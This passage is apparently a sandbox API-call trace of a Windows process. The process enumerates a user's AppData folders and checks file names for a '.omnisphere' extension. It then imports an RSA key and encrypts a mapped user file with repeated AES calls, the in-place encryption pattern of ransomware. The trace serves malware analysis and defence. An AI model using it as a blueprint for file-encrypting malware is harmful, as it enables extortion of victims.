pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\*" [0082.697] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0082.728] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0082.729] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Style", cAlternateFileName="")) returned 1 [0082.729] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Style", cAlternateFileName="")) returned 0 [0082.729] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0082.729] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0082.729] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0082.729] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Style", cAlternateFileName="")) returned 1 [0082.729] GetProcessHeap () returned 0x1600000 [0082.729] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x88) returned 0x16332e8 [0082.729] PathCombineW (in: pszDest=0x16332e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography", pszFile="Style" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style" [0082.729] GetProcessHeap () returned 0x1600000 [0082.729] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8c) returned 0x1650558 [0082.729] PathCombineW (in: pszDest=0x1650558, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*" [0082.729] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xce, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0082.775] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2e40435, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xce, cFileName="..", cAlternateFileName="")) returned 1 [0082.775] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d35364, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d35364, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1f7c60e, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x51722, dwReserved0=0x0, dwReserved1=0xce, cFileName="APASixthEditionOfficeOnline.xsl", cAlternateFileName="APASIX~1.XSL")) returned 1 [0082.776] GetProcessHeap () returned 0x1600000 [0082.776] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162bea8 [0082.776] PathCombineW (in: pszDest=0x162bea8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", pszFile="APASixthEditionOfficeOnline.xsl" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" [0082.776] StrStrW (lpFirst=".omnisphere", lpSrch=".xsl") returned 0x0 [0082.776] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\apasixtheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0082.776] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=333602) returned 1 [0082.776] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x511fe, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0082.776] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.822] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] GetTickCount () returned 0x1154e7a [0082.823] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0082.824] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0082.824] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0082.824] CryptDestroyKey (hKey=0x1639b28) returned 1 [0082.824] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0082.824] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x51722, lpName=0x0) returned 0x288 [0082.824] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x51722) returned 0x3c00000 [0083.340] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668708) returned 1 [0083.340] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0083.340] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0083.340] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0083.340] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.341] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.342] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, 